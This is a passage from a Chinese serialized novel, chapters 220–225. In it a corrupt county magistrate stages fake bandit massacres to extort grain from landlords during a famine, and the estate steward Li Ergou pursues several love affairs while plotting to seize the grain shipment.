“具体的事让李管家告诉你,我还有事,你们商量吧。” 王正直起身出了会议室,孙竹刚终于长舒了一口气。 “兄弟,这到底是怎么一回事?我都懵了。” 李二狗说道:“大哥,不要激动,不就是副局长嘛?以后当局长也不是什么难事。” “兄弟,你可真有能耐,大哥都不知道该怎么感谢你,待会别走了,让你嫂子包饺子给你吃。” 李二狗内心不禁打个寒颤。 “大哥,吃饺子的事待会再说,我有一件事咱们得好好商量一下到底该怎么做。” 听了李二狗的计划,孙竹刚连连点头。 怪不得王正直如此器重李二狗,原来李二狗是在为他谋福利。 “兄弟,要想在警察局找二十个放心的人确实有点困难,我担心人多嘴杂。” 李二狗下意识地看了看会议室门口,低声说道:“大哥,这种事见不得光,我也有此担心,我看还是我从清风寨找些人来做这件事,你挂个名就行。” “还是兄弟思虑周全,就按兄弟说得办,大哥欠你这么多,都不知道该怎么报答你了。” “大哥,咱们兄弟就不要说这些客套话了,你好我比你还高兴。” “走吧,跟我回家,咱们哥俩再好好喝一盅,让你嫂子包饺子给你吃。” “大哥,事不宜迟,我得马上赶回去布置,咱们还是改日吧。还有,大哥,一定不要说漏了。” “放心吧,你嫂子我都不给说。” 李二狗出了县政府,骑上马直奔清风寨。 当天晚上,刘家大院被土匪一锅端了。 大院内血流成河,全家老小连一个尸首都没找到,据说全部被土匪剁碎煮着吃了。 第二天晚上,朱家大院和宋家大院又接连被土匪灭门,同样是血流成河,同样是一个尸首都没找到。 第三天一大早,全县的地主豪绅齐聚县政府,要求王正直派警察剿匪,保护他们安全。 王正直在会议室接待了他们。 “王县长,土匪如此凶残,杀人后竟然食人肉,实在是凶残至极,您一定要为我们做主啊。” “是啊,王县长,我们吴家大院请求您派警察保护。” “我们于家大院也请求您派警察保护。” 大家七嘴八舌,王正直却一言不发。 “王县长,您倒是说句话啊。” 王正直端起桌上的茶杯,把漂浮在上面的茶叶轻轻地吹到一边,然后又轻轻地抿了一口。 在众人的注视下,他又把茶杯轻轻地放在桌子上。 “大家都说完了?” “王县长,您得给我们做主啊。” “土匪都饿得吃人肉了,令人恐惧的同时也令人感到悲哀啊,由此可以想象普通老百姓过得是什么样的日子,实在是令人痛心疾首!作为一县之长,我惭愧难当!是我王正直无能啊,不能筹到粮食赈济灾民。” 大家都沉默了! “我已经决定向上级递交辞呈,等过个十天半个月,新县长就会到任,到时候你们还是让新县长派警察保护你们吧。” 会议室一阵骚动,别说十天半个月,也许今天晚上就有人被土匪吃进肚里。 “王县长,您不能走啊,您走了,我们江东的百姓可怎么活啊?我们到哪里才能找到像您这样爱民如子的好县长啊。” 大家抬头一看,说话的是李二狗。 “李管家,你不要劝了,我能力有限、水平一般,相信上级一定会派一位更有担当的县长来领导江东度过这次劫难。” 李二狗眼泪都下来了。 “王县长,为了表示挽留您的诚意,我们胡家大院自愿向县政府捐出五万斤小麦赈济灾民,您可一定不能走啊。” 举座皆惊。 他们一致认为李二狗疯了,一出手就是五万斤小麦,这么多粮食,就不怕土匪晚上去灭你满门吗? 胡士高不在就是不行,一个小小的管家竟敢胡作非为,非得害死胡家大院不行。 王正直站起来,给李二狗深深地鞠了一躬。 “李管家真是大爱啊,我代表全县百姓感谢你们胡家大院的善举。” 第220章 卑鄙无耻下流 当天晚上,王正直派出数名荷枪实弹的警察到胡家大院昼夜保护。 胡家大院安然无恙,孙家大院却被土匪灭了门。 同样是血流成河,同样是一个尸首都没找到。 天一亮,地主老爷们纷纷跑到县政府。 “我捐二万斤小麦!” “我捐三万斤小麦!” “我捐五万斤小麦!” …… 王正直极力压制住内心的喜悦,说道:“大家就不要让我为难了,我已经决定辞职,大家还是再等等新县长吧,他很快就上任了。” “王县长,您可不能走啊!” “王县长,您走了我们就没法活了!” “王县长,我们江东百姓需要您啊。” 吴老爷在下人的搀扶下,颤巍巍地走到王正直面前。 “王县长,老朽求求你了,您一定不要走啊。” 说着就跪倒在王正直面前,王正直赶紧把他扶了起来。 “哎,你们这不是让我为难吗?江东这么一个烂摊子,我王某人实在是无能为力了,你们还是让我离开吧。” 李二狗在人群中大声喊道:“王县长,只要您留下,我们全力支持您,要粮给粮,要钱给钱,只求您不要丢下我们。” 众人虽然不认同李二狗的话,但这种形势下也只能齐声附和。 “既然大家都希望我留下,那我就勉为其难再干一些时日,但我丑话说在前面,如果我赈灾不力,即使你们不赶我走,我还是要走。” 一听到赈灾,大家立马想到自己又得自愿捐粮食,纷纷低下了头。 “王县长,我们吴家大院存粮确实不多,但为了支持您开展赈灾工作,我们口粮也不留了,把二万斤小麦全部捐给县政府。” 王正直握住吴老爷的手,感激地说道:“感谢吴老爷慷慨解囊,支持县里的赈灾工作,但是……” 王正直一说“但是”,大家的心一下子都提到了嗓子眼上。 “但是大家都知道,现在县保安团在外打仗,全县警力本就捉襟见肘,捐三万斤粮食以下的大院,说明你们存粮确实不多,那我就不能派警察去保护你们了,请大家理解我们县政府的难处。” 吴老爷一听,立马急了。 “王县长,您可不能这样啊,那些土匪杀人可不管这些,再说,其他大院都派了警察保护,土匪只会选择那些没有警察保护的大院下手。” “我捐三万斤!” “我也捐三万斤!” 面对大家的踊跃,王正直已经笑得合不拢嘴。 他挥挥手让大家安静下来。 “大家这么踊跃为灾民捐粮,我王某人实在是感动至极,其实不管你捐二万斤粮食也好,捐三万斤五万斤粮食也罢,在灾情面前,爱心没有大小之分,只要是善举,我们县政府肯定会支持和鼓励。” 大家都在咀嚼王正直话里的意思。 “但是也请大家务必理解我们县政府的难处,经过我们认真开会研究,组织多方论证,最后一致决定,对于自愿捐赠三万斤粮食的大院,我们会派两名警察去保护,捐五万斤粮食的大院派四名,捐八万斤粮食的派六名,捐十万斤粮食的派十名。” 吴老爷颤巍巍地举起手,大喊一声:“王县长,老朽愿意捐五万斤!” “我也捐五万斤!” “娘的,老子不过了,我捐八万斤!” “我也捐八万斤!” 事后一统计,本次共捐赠了将近一百万斤小麦,大大超出了王正直的预料。 “李管家,这次你立了大功,我要重重地赏你。” 李二狗摆摆手,说道:“王县长,这都得益于您领导有方,孙局长办事得力,我只不过是动了动嘴皮子而已,实在是不值一提。” 王正直兴奋地满面红光。 “哈哈,李管家,你可能还不了解我王正直的为人,我一向是有功必赏,说吧,你想要什么奖励?” 李二狗想了想,说道:“王县长,如果您非要给我奖励,我希望您能尽快开粥棚,救济那些流离失所的灾民。” 王正直脸上闪过一丝冷意。 “这个自然,不过此事事关重大,我还得召开会议好好研究研究,急不得啊。” 李二狗真想上去正反抽他十个大嘴巴子,不过王正直的态度本就在他意料之中。 “王县长,现在灾情越来越严重,很多灾民被逼无奈只能靠吃榆树皮、观音土、雁粪果腹,有些地方甚至连树皮都挖光了,万般无奈之下,竟出现‘人相食’之惨状。” 王正直有些不满地说道:“李管家,你可不要危言耸听,什么人相食?这种话能随便说吗?说出来是要负责任的。” “对不起,王县长,是我枉言了。” 王正直语重心长地说道:“有些话在我这里说说就算了,出去可千万不能乱说,你这话要是让省里或者南京知道了,我们都是要掉脑袋的。” “我知道错了,以后再也不说了。” “你知道就好,我让小厨房准备了一桌宴席,咱们去庆祝庆祝。” 李二狗实在没有心情陪王正直胡吃海喝。 “王县长,我出来已经好几天了,家里还有事,我得赶紧回去了。” 虽然李二狗的话让王正直有些不高兴,但他还是十分认可李二狗的能力。 “李管家真的不再考虑考虑吗?县民政科科长的职位我还一直给你留着呢。” “感谢王县长的厚爱,但我才疏学浅,实在难以胜任,还请您另选贤能吧。” 李二狗离开县政府,直接回了胡家大院。 说来也奇怪,大家自愿捐赠完粮食之后,那些被灭门地主大院的人竟完好无损的回来了。 据他们描述,他们是被人蒙着头,赶到一间漆黑的屋子里,后来不知道什么原因竟被放了回来。 原来血流成河的惨状竟是伪造的! 可粮食已经捐出去了,这时候想再要回来,门都没有! “王正直贼喊捉贼,真是卑鄙无耻下流!” “王正直真他娘的黑,他不得好死!” “不得好死?他得断子绝孙!” 不管他们骂得多难听,王正直一句也听不到,他正幻想着卖掉这些粮食之后和静雯春宵一度。 第221章 胡家大院不是慈善机构 张二驴看到李二狗回来,赶紧跑到他跟前。 “李管家,昨天晚上有几个灾民偷偷爬进大院,被家丁捉住了。” 李二狗最担心的就是胡家大院的安全,灾民饿极了,可是什么事都做得出来。 “他们人呢?” “我把他们关在柴房了,还安排两个人看着,你放心,他们跑不掉。” “咱们有损失吗?” “这倒没有!他们一进大院,就被在角楼站岗的家丁发现了。” 李二狗拍了拍张二驴的肩膀,他现在越来越信任张二驴。 “二驴,你做得非常好,既然咱们没什么损失,就把他们放了吧,再给他们每人几个馒头,这年月,谁都不容易。” “李管家,如果这么轻易就把他们放回去,还给他们馒头,我怕其他人会跟着学,到时候咱们可就被动了。” “二驴,你说得对,确实不能就这样轻易把他们放走,必须给他们一点教训,打一顿再赶出去吧,注意掌握尺度,等他们走远了,再想办法暗中给他们送点吃的。” 自从上次胡家大院被朱重九抢劫之后,胡士高一气之下解散民团,现在胡家大院只剩下一些棍棒和火枪鸟铳,根本没有战斗力。 虽然名义上叫胡家大院,但李二狗知道早晚得改名叫李家大院,而且他必须确保女儿梦瑶的安全。 “二驴,我准备去省城买一批枪支回来,没有硬家伙,总是不放心。” “我正想向李管家汇报此事,凤凰镇民团队长张大发前两天来找过你。” 上次张大发因为此事找过李二狗,李二狗一忙就给忘了,没想到张大发还一直记着此事。 “他说什么?” “他说凤凰镇民团也可以为咱胡家大院提供保护。” “什么条件?” “一年五千块大洋!” “呵呵,这个张大发,真是狮子大开口,他怎么不去抢?!” “我觉得也是,现在一挺机关枪才三百块大洋,步枪只需要一百块大洋,咱们不如用这些钱购买枪支,自己保护自己。” “你说的对,但是张大发这个人我们还是不要轻易得罪他,他如果再来问,你就说等老爷出院再说,咱们做不了主。” “我知道了,李管家。” 李二狗笑了笑,说道:“二驴,以后别叫李管家了,叫狗哥吧。” 张二驴当然知道称谓的转变意味着什么,李二狗已经把他当做亲信。 “谢谢狗哥,谢谢狗哥。” “好好干,哥看好你。” 张二驴千恩万谢地走了。 李二狗在去看于兰芝的路上看到张玲玉,他想躲已经来不及了,只能硬着头皮走过去。 张玲玉不阴不阳地说道:“李管家,你这是去看大姐还是看大小姐?” 李二狗一直想不明白张玲玉为什么总是喜欢阴阳怪气地说话,什么话到她嘴里说出来总是让人觉得厌恶。 他故意说道:“娘俩一起看,大小姐特别惹人喜爱,二奶奶要不要一起去看看?” “哼,再惹人喜爱她也是姓胡,李管家未免太热心了吧?” “姓胡总比姓程好,你说呢,二奶奶?” “李二狗,你……无耻!” 李二狗一向吃软不吃硬,他根本不吃张玲玉这一套。 “呵呵,二奶奶,我要是不无耻,咱俩也不会搞在一起,你说是不是?” “你……”张玲玉气得大胸脯子一抖一抖的,脸涨得通红,“二狗,咱们能好好说话吗?” “这取决于你。” “我想你了。” 她突如其来的一句话让李二狗瞬间破防。 “玲玉,你先回去,今天晚上我去找你。” 张玲玉眼泪掉了下来。 “那我暖好被窝等你来。” 看着张玲玉略显孤寂的背影,李二狗内心埋怨自己对她的关心太少了。 一进于兰芝的院子,李二狗就听见孩子的哭声,他快步来到于兰芝的卧室。 “怎么了?孩子怎么哭了?”李二狗一脸焦急地问道。 于兰芝笑道:“看你紧张的,孩子哪有不哭的?” 看李二狗迷茫的眼神,她继续说道:“女儿刚睡醒,可能有点起床气,喂点奶就好了。” 于兰芝毫不顾忌地掀开衣服给梦瑶喂奶,她坐月子坐的,身材倒是丰满了许多,显得有些珠圆玉润,女人味更重了些。 “兰芝,有件事我想和你商量商量?” “什么事啊?你自己决定就行了,不用和我商量。” “你是胡家大院大奶奶,老爷不在,当然得你做主,怎么能不和你商量呢?” 于兰芝故意问道:“你还当我是胡家大院的大奶奶吗?啥事是我做得主?” 李二狗笑道:“我只当你是我闺女的亲娘。” “贫嘴!说吧,到底什么事?” “现在灾民越来越多,我看很多人熬不过这个冬天,县长王正直又只顾着自己发财,根本不管老百姓的死活,我觉得我们得做点什么。” 于兰芝大体已猜到李二狗要做什么。 “二狗,你想过没有?赶上灾年,不仅佃户们受穷,咱们的日子也不好过。上半年买粮食,几乎花去了大半积蓄,今年的租子又收不上来,明年肯定也够呛,政府赋税又那么重,家里这么多口人,明年咱们怎么过,你想过吗?” 于兰芝这一通话让李二狗哑口无言,他确实没有考虑过这个问题。 上半年一共购买了五十万斤小麦,这几天就捐给县政府二十万斤,李二狗本来打算把剩下的粮食再拿出来救济灾民,现在他只能把话咽了回去。 他不得不面对这个现实,胡家大院并不是慈善机构,它也需要生存。 看李二狗不说话,于兰芝问道:“怎么了,二狗?我说错话了?” “没有,是我之前考虑不周,幸好有你提醒,不然我就要犯大错误了。” “你刚才要和我商量什么?” 李二狗此时脑中已经有了另一个主意。 “兰芝,我想着现在灾民实在是太多了,咱们仓库还有三十万斤小麦,是不是可以再拿出一部分来救济灾民?” “你想拿出多少?” “十万斤吧,当然不是一次性拿出来,也不是咱们自己来救济。” “你想怎么办?” “把粮食捐给寺庙,让他们开粥棚救济百姓。” 第222章 嫂子对不起你 “二狗,你自从当了爹之后,处理事情比之前成熟多了,我赞成你的做法。” 如果胡家大院在捐赠了二十万斤小麦之后还广开粥棚,实在是太过招摇。 木秀于林,风必摧之,白天开粥棚,晚上可能就被抢了。 如果悄悄捐给寺庙,出家人以慈悲为怀,一定不会截留私吞。 而且寺庙作为佛门重地,无论是盗匪还是灾民,都不会去打它的主意。 “兰芝,谢谢你,你放心,我一定不会让你和梦瑶受委屈。” 兰芝一脸幸福,紧紧靠在李二狗身上。 “有你真好。” “兰芝,最近风声很紧,昨晚有几个灾民闯入大院,幸好没出事,但我们也不能不防啊,我决定去省城买一些枪支回来,加强大院的保卫力量。” “嗯,这是应该的,你看全县的地主大院,哪家没有十几杆枪?” “那我明天去省城一趟,顺便看看老爷的病情。” 提到胡士高,于兰芝脸色微变。 “他这样不死不活的到底什么时候才是个头啊!” 李二狗倒希望胡士高能多活一些时日,这样可以省去很多麻烦。 他从于兰芝院子出来,刚回到自己院子,牛旺财正双手插袖蹲在门口。 “旺财,你蹲在这里干嘛?” 不知道从什么时候开始,李二狗再也没叫过他旺财哥,但是牛旺财对李二狗的称呼却从未改变。 也许在他看来,这个称呼代表着他和李二狗的特殊关系。 在胡家大院,和李二狗关系特殊意味着什么,所有人都清楚。 “二狗兄弟,哎……” 牛旺财这个人,李二狗是了解的,没有事的时候他是绝对想不着你,今天来肯定是有事。 “旺财,有话就说,你吞吞吐吐干什么?” “二狗兄弟,牛犊子病了。” 李二狗心头一惊,要是普通的头疼脑热,牛旺财肯定不会专门来和他说。 “病了?什么病?看大夫了吗?” “看了,可是都发烧三天了,还一直咳嗽,病情一直未见好转,你春花嫂子都快急死了。” 自从牛旺财一家搬到仙人洞镇居住之后,李二狗每月偷偷送给春花五块大洋,这事牛旺财并不知晓。 “你怎么不早说?快跟我走,去你家看看。” 两人快步来到牛旺财家中,牛犊子正躺在床上,额头上敷着一块毛巾,咳嗽的一张小脸通红。 见到李二狗,春花“哇”的一声哭了出来,一下子跪在他跟前。 “二狗兄弟,求求你救救牛犊子,求求你一定要救救他。” 李二狗把春花从地上拉起来。 “嫂子,大夫怎么说?” “大夫说是沾染了不干净的东西,给开了药,可牛犊子的病一直不见好转,药喂下去就吐出来,咳嗽的嗓子都哑了,刚才大夫说,他无能为力了。我苦命的孩子啊,你要死了,娘可怎么活啊!” 看着奄奄一息的牛犊子,李二狗心如刀绞。 “嫂子,你赶紧收拾一下东西,我们去县里医院。” 李二狗跑回胡家大院,驾着一辆马车回到牛旺财家门口。 春花抱着牛犊子从屋里走出来,李二狗扶着春花上了马车。 牛旺财站在马车下面没有动。 “旺财,你还愣着干什么?快上车啊。” 牛旺财结结巴巴地说道:“人都去了,谁看家啊?现在可不太平。” 李二狗狠狠地瞪了一眼牛旺财。 “那你就留下看家吧。” 李二狗驾着马车,直奔县城。 到了县城医院,经过医生一番检查,确认牛犊子得了急性肺炎。 医生感慨道:“你们再晚送来半天,这孩子就没命了。” 春花听到没命了,吓得立马瘫在地上。 “大夫,求求您一定要救救我的孩子……” 李二狗把她从地上扶起来,她双腿抖得厉害,根本无法站立,李二狗便把她揽在怀中,春花竟完全没有拒绝。 “放心吧,住院打几天针就没事了,你们去给孩子办一下住院手续吧。” 听到医生说没事,春花才彻底放下心来。 当她意识到李二狗正揽着自己时,赶紧从他怀里挣脱出来。 大庭广众之下,她立马羞红了脸。 “嫂子,你先去病房看着孩子,我去给办一下住院手续。” 这是春花第一次进医院,也是第一次听说住院手续,她完全懵了。 “二狗兄弟,麻烦你了,要是没有你,牛犊子就没命了。” 李二狗知道牛犊子是自己的儿子,春花也知道李二狗知道牛犊子是自己的儿子,但大家都保持着彼此的默契,谁都不会去戳破这层窗户纸。 “嫂子,你说这些话就见外了,你先去病房,我办完住院手续就过来。” 等李二狗回到病房的时候,春花正在和一个小护士争吵。 “你要敢伤害我儿子,我就和你拼了!” 小护士急得满头大汗。 “你这个人怎么这么不可理喻,我在给孩子打针,请你配合一下好吗?” “怎么了,嫂子?” 春花看到李二狗,仿佛看到了救星。 “二狗兄弟,你快制止她,她要拿针扎牛犊子的头,千万不能让她扎啊。” 小护士解释道:“这位大姐,你听我解释,孩子太小,手腕上的血管不明显,从额头上扎针是最好的,你一定要相信我们。” 李二狗也没听过打针打头皮的,但护士这样说,肯定有她的道理,他知道医院不会害人。 “嫂子,这里是医院,他们是西医,和咱们中医不一样,你要想让牛犊子快点好起来,就得听他们的。” 春花一脚疑惑地问道:“真的没事吗?” 春花一双扑闪扑闪的大眼睛盯着李二狗,让李二狗仿佛回到了那一夜。 “嫂子,你要相信我,咱们不就是治不了牛犊子的病才来医院的吗?孩子会没事的。” 春花这才点了点头,护士熟练地把针扎进牛犊子额头的血管里,吊瓶里的液体源源不断地输入孩子的身体。 “等这一瓶药打完了喊我,注意不要离开人。” 护士走了,春花盯着牛犊子,眼泪噗嗤噗嗤地掉落下来。 “二狗兄弟,嫂子对不起你!” “好了,嫂子,别难过了,没事的,一切都会好起来的!” 第223章 一见如故 李二狗安排张二驴偷偷给广佛寺送去五十袋磨制好的面粉,广佛寺当天就在寺门口开起了粥棚。 灾民们从四面八方赶来,一边喝着热乎乎的白面糊糊,一边给佛祖磕头。 王正直的压力越来越大,迫不得已,只能在县政府门前也开起了粥棚。 不过为了节省粮食,他要求每天限量供应。 灾民队伍排得老长,白面糊糊却很少,百姓们怨声载道,都叫他“王不直”。 王正直担心夜长梦多,以向省政府请求救济粮为由,亲赴省城,联系小麦买家。 “妹子,我是你大哥。” 静雯接到王正直的电话,并没有感到惊讶。 “哎呀,是大哥啊,你来省城了?” “来省城办点事,想顺便拜访一下吴爷,不知道吴爷方不方便?” “当然方便,你是贵客,吴爷前两天还在念叨你,感觉上次的事让你损失那么大,他心里很过意不去,说以后一定找机会再与你合作。” “上次的事是个意外,吴爷还能想着,真是令我感动,如果吴爷方便,我想今天晚上去拜访一下吴爷,可以吗?” “当然可以,今晚七点,我们就约在百乐门大舞厅吧?小妹也好尽尽地主之谊。” 听了静雯的话,王正直心里那个痒。 “好好好,晚上见,妹子。” 晚上七点,百乐门大舞厅。 “大哥,你来了,吴爷正在二楼等你。” 王正直没想到吴有德来这么早,急忙解释道:“哎呀,实在是不好意思,路上有事耽搁了。” “大哥,没事,是吴爷早到了。” 两人来到二楼包厢,静雯主动介绍道:“干爹,这位就是我常和您提起的江东县县长王正直,大哥,这位就是吴爷。” 王正直一直以为静雯是吴有德的小情人,没想到还是她干爹。 “吴爷,鄙人王正直,久闻吴爷大名,如雷贯耳,今日一见,果然名不虚传。” “王县长,您的大名我也是久有所闻啊,静雯经常在我面前夸您。” “静雯小姐谬赞了,”王正直显得很谦虚,“吴爷,我是晚辈,您还是叫我小王吧。” “岂敢岂敢,王县长是一地父母官,老夫只是一个闲云野鹤罢了。” “吴爷您过谦了,您跟随先总理闹革命的时候,我还只是一名乳臭未干的学生,今日得见吴爷尊荣,实在是三生有幸。” “哈哈,那些都是老黄历了,王县长是个有心人,还能记得那些,老夫当年有幸跟随先总理做过一些微不足道的事情,实在是愧不敢当。” “吴爷您过谦了,别说省城,就是在南京国民政府里,一提到您吴爷的大名,谁人不知,谁人不晓?” “哈哈,王县长,老夫早已不过问政府之事,现在只不过做一些养家糊口的生意罢了。” “吴爷,您虽虚怀若谷,但江湖上可一直都有您的传说,您还是叫我小王吧。” “哈哈,小王,请喝茶。” 王正直看了一眼吴有德身后站着的保镖和旁边的服务员,静雯心领神会。 “你们先出去吧,这里交给我,需要的时候我会叫你们。” 包厢内只剩下吴有德、王正直和静雯三人。 “吴爷,今天来拜访您,主要还是为了粮食的事。” “小王,上次的事,静雯回来后都告诉我了,她可是为你说了不少好话啊。” 王正直急忙说道:“谢谢静雯小姐。” 吴有德端起茶杯,喝了一口茶,徐徐说道:“小王,你可能不知道,很多产业虽然在我名下,但我只是挂在名而已,我一个人说了并不算,所以希望你不要埋怨我才好,我也是爱莫能助。” “吴爷您这说的哪里话?我当然理解您的难处。我知道,上次我对静雯小姐提出的要求并不合理,当时我只是昏了头脑,才向静雯小姐提出那种不切实际的要求,现在想来实在是惭愧啊!” “哈哈,事情都已经过去了,你就不要再自责了,我这里生意很多,以后我们还有很多合作的机会。” “不瞒吴爷,现在江东灾情严重,为了赈灾,我又千方百计筹集了一些小麦,但小麦数量有限又金贵,我想尽快把小麦卖了,多买一些粗粮回去赈灾,还望吴爷能出手相助,我代表江东三万多百姓感谢您。” “这个好说,你现在有多少小麦?” “差不多有一百万斤。” “我还以为有多少?这些我全要了。” 王正直大喜过望,问道:“吴爷,不知道这价格上?” 吴有德看向静雯,问道:“静雯,现在小麦价格是多少?” “吴爷,今天上午的价格是三毛五一斤,不过现在价格变动频繁,明天什么价格得明天上午才能知道。” 吴有德摆了摆手,说道:“小王也不是外人,我看不用等明天了,现在就定下来,四毛一斤,小王觉得如何?” 王正直激动的差点当场跪下给吴有德磕一个,四毛钱一斤,一百万斤就是四十万,哪怕拿出一部分用来赈灾,他也几辈子花不完。 “吴爷,太感谢您了,我知道,大宗粮食交易,价格肯定会比零售便宜一下,要不然就……” “不用,就按四毛,”吴有德话说的掷地有声,“我们虽然初次见面,却一见如故,就这么定了!” “多谢吴爷,多谢吴爷。” 吴有德看了看墙上的挂钟,说道:“时间不早了,我就先回去了,等会让静雯好好给你安排安排,都记我账上。” “多谢吴爷,我今天才算见识了什么叫省城第一商业名家的风采,吴爷,在下佩服!” “哈哈,喝好玩好,静雯照顾好王县长,告辞!” 送走吴有德,王正直腰杆子一下子硬了起来。 “妹子,今天我算是大开眼界了,四十万的生意,谈笑间就搞定了,以前我真是井底之蛙啊,为了千儿八百的小钱苦心钻营,现在看来,真是非常可笑,简直是愚蠢!” 静雯笑道:“大哥说笑了,您是一县之长,身份尊贵,走到哪都受人尊敬,不像我们,哎,只不过是供别人消遣的工具罢了。” 静雯今晚一身墨绿色旗袍配中式盘发,美到失语,王正直一双鼠眼一直盯着她旗袍的开叉处。 第224章 你过得好吗 静雯故意咳嗽一声,拉了拉旗袍,王正直才不得不把视线移开。 “妹子,只要你愿意,大哥一定让你享尽荣华富贵,不再过这种看人脸色的日子。” 静雯黯然,说道:“大哥你就不要逗妹妹开心了,我是什么样的人我自己心里清楚。” 王正直一把握住静雯的手,深情地表白道:“妹子,你要相信我,大哥说的可都是真心话。” 静雯轻轻挣脱他的手,叹息道:“大哥,这里人多眼杂,要是被人看见告诉了吴爷就不好了,还是生意重要!” 静雯一句话挑明了自己和吴有德的特殊关系,王正直只能沉默地坐在沙发上。 这个时候,他确实不敢得罪吴有德! “大哥,你也别难过,以后有的是机会,我去给你安排几位姑娘,她们都比我年轻漂亮,今晚让她们陪大哥好好玩一玩。” “算了吧,咱们还是商量商量小麦的事情。” 静雯这才坐下来,问道:“大哥有什么想法?” “我建议我们还是走水路运输,但这次不用你们派船去江东,我安排好货船,送货上门,运费算我的。” 静雯暗骂道,真是一条老狐狸。 嘴上却说道:“大哥办事真是敞亮,替妹子想得这么周全,来,妹子敬你一杯,感谢大哥。” “你是我妹子,这都是大哥应该做的。” 两人又商定了送货时间及一些细节问题,然后几杯酒下肚,王正直便失去了操守,对静雯安排的几个舞女来者不拒。 静雯回到吴公馆,看到李二狗正和吴有德在客厅喝茶。 “二狗,你什么时候来了?” 静雯眼神欣喜异常,恨不得立马扑到李二狗身上,以解相思之苦。 李二狗笑道:“想干爹了,顺便看看你。” 静雯眼里的笑意已经掩饰不住。 “这么说,我还是沾了干爹的光。” “你以为呢?哈哈。” 吴有德站起身,说道:“干爹累了,先去睡了,有什么事咱们明天再说。” 李二狗和静雯几乎同时说道:“干爹,晚安!” “哈哈,你们呐……” 吴有德刚上楼,李二狗已把静雯搂在怀里。 “想我没?” “没想!” “真没想?” “想了!” “你这个小妖精,想死我了都!” 李二狗一把抱起静雯,直接进了卧室。 一进屋,静雯就缠在李二狗身上,那场面真是你侬我侬,忒煞情多。 李二狗在床上发起了数次冲锋,两人终于如愿站上云巅。 事后,静雯瘫在李二狗怀里。 “二狗,真希望能快点给你生个狗崽子。” “顺其自然吧,有些事不能强求,我们开心就好。” “你真讨厌!” 静雯小粉拳不断捶打着李二狗的胸口。 “好了,咱们说点正事,今晚你和王正直谈得怎么样?” “这次他提出要送货上门,不用咱们派船。” 李二狗早就预料到王正直会有变招,只是没想到他要亲自送货上门。 “定得哪天送货?” “三天后。” 三天后送货,也就意味着将在两天后的晚上装船,特殊时期,王正直不可能选择白天装船。 吃了上次的亏,王正直肯定会加强码头的防守力量,想再复制上次的成功经验已无可能。 那就只剩下一条路,在水面上动手。 “静雯,我需要你帮我一个忙。” “一个被窝睡着还说什么帮不帮的,你说就是。” 李二狗便把自己的需求告诉了静雯。 “这个你放心,明天我就给你安排。” “静雯,必须要快,而且一定要选忠诚可靠之人。” “放心吧,我办事你放心。” “你办事我当然放心,那我办事你放心吗?” 李二狗手脚又开始不老实起来,静雯被他挠得咯咯直笑,一场鏖战再次拉开了帷幕…… 第二天上午,李二狗便返回了江东县。 由于畏惧严婆惜的热情,李二狗没有直接去孙竹刚家中,而是在街边电话亭给孙竹刚打了一个电话。 孙竹刚已经升为县警察局副局长,办公室已有了专用电话。 “大哥,我是二狗。” 孙竹刚听到李二狗的声音,有些意外。 “二狗兄弟,你在哪?” “大哥,我找你有点事情,你下班后,咱们广德楼见。” “兄弟,去广德楼干什么?还是去家里,让你嫂子包饺子给你吃。” 李二狗现在一听到饺子就吓得打冷颤。 “大哥,这次不方便去家里,还是去广德楼吧,我都订好房间了。” “那好,我下班就过去。” 挂断电话,李二狗去了县城的医院。 春花看见李二狗进来,马上笑靥如花。 “二狗,你来了。” 称谓从二狗兄弟变为二狗,春花对李二狗的态度发生了明显转变。 “嫂子,牛犊子怎么样了?” “退烧了,也不咳嗽了,多亏了你及时把他送到这里,不然他就……” 春花眼睛一眨,眼泪就流了下来。 李二狗安慰道:“嫂子,这不是我应该做得吗?以后有事你就来找我。” 春花不停地点头,岁月悄然流逝,她在生活的磨砺中渐渐失去了曾经的纯真与俏皮,只剩下沧桑的内心和疲惫的身躯。 “你过得好吗?” 面对李二狗突如其来的关心,春花有些不知所措。 跟着牛旺财这些年,她似乎从来没有考虑过这个问题。 自己过得好吗? 李二狗每个月给她五块大洋,丰衣足食,她有丈夫、有儿子,似乎过得很好。 但这一切似乎又跟牛旺财毫无关系。 牛犊子生命垂危,牛旺财首先想到的是他要留下看家,他根本就不是一个可以依靠的男人。 和李二狗比起来,牛旺财好像一无是处,但他却是自己的丈夫。 嫁鸡随鸡,嫁狗随狗,这就是现实,谁也无法改变的现实! “我挺好的。” “春花,我希望你过得好,牛犊子也过得好,这样我才能安心,你懂我的意思吗?” “我懂,我们都好好的,以后还会越来越好。” 春花眼含热泪,深情凝视着李二狗。 李二狗伸出手,轻轻为她拭去眼角的泪水,那一刻,春花彻底泪崩。 第225章 疯狂的计划 晚上六点,广德楼。 孙竹刚一身便衣,来到二楼一个包厢,李二狗正在里面等他。 “兄弟,你说咱们去家里多好?你嫂子经常念叨你,非得把我叫到这里来。” 李二狗嘿嘿一笑,说道:“大哥,今晚要说的事不适合在家里说。” 菜上齐后,李二狗还未说话,孙竹刚率先端起了酒杯。 “兄弟,这两天一直没找到合适的机会,大哥得好好感谢你,没有你,就没有我的今天,来,大哥敬你一杯。” “大哥,咱们是兄弟,你总是这么见外,再说,王县长提拔你,那是因为你作风扎实、工作出色,并不是因为我。” 两人碰了一下,一饮而尽。 “兄弟,你没在政府部门干过,你不懂得官场上的那些道道,哪有天上掉馅饼的好事?哪次升迁背后没有跑送?有句话说得好,跑送的不一定提拔,但不跑送的一定不提拔,我这次能当上副局长,完全是因为你的推荐。” “大哥,没想到你们官场这么复杂,不过即使有我的原因,咱们是亲兄弟,你也无需感谢我,大哥好,我跟着也好,你说是不是?” “哈哈,兄弟说得对,以后咱们兄弟拧成一股绳,在江东这个地面上,没人敢欺负咱们。” “大哥说得对,我敬大哥一杯。” 几杯酒下肚,孙竹刚已有了醉意。 “大哥,有句话我不知当说不当说?” “兄弟尽管说,大哥给你办。” “大哥,王正直敲了全县地主豪绅的竹杠,现在地主们可都恨着他,私下没有不骂的。” “这个我也有所耳闻,不过骂归骂,他们也拿县长没有办法。” “可县政府征集了这么多粮食,王县长却只是拿出了九牛一毛出来赈灾,实在是有些说不过去,灾民怨声载道,说不定哪天就会出事,人被逼急了,可是什么事都干得出来。” 孙竹刚完全没有明白李二狗对自己说这些话的意思。 “兄弟的意思是?” “大哥,上次江东码头五十万斤粮食被抢的事可在全县都传开了,是不是有这么一档子事?” 孙竹刚点了点头,没想到这么隐秘的事情竟在全县传开了,确实是好事不出门,坏事传千里。 “是的,确有此事。” 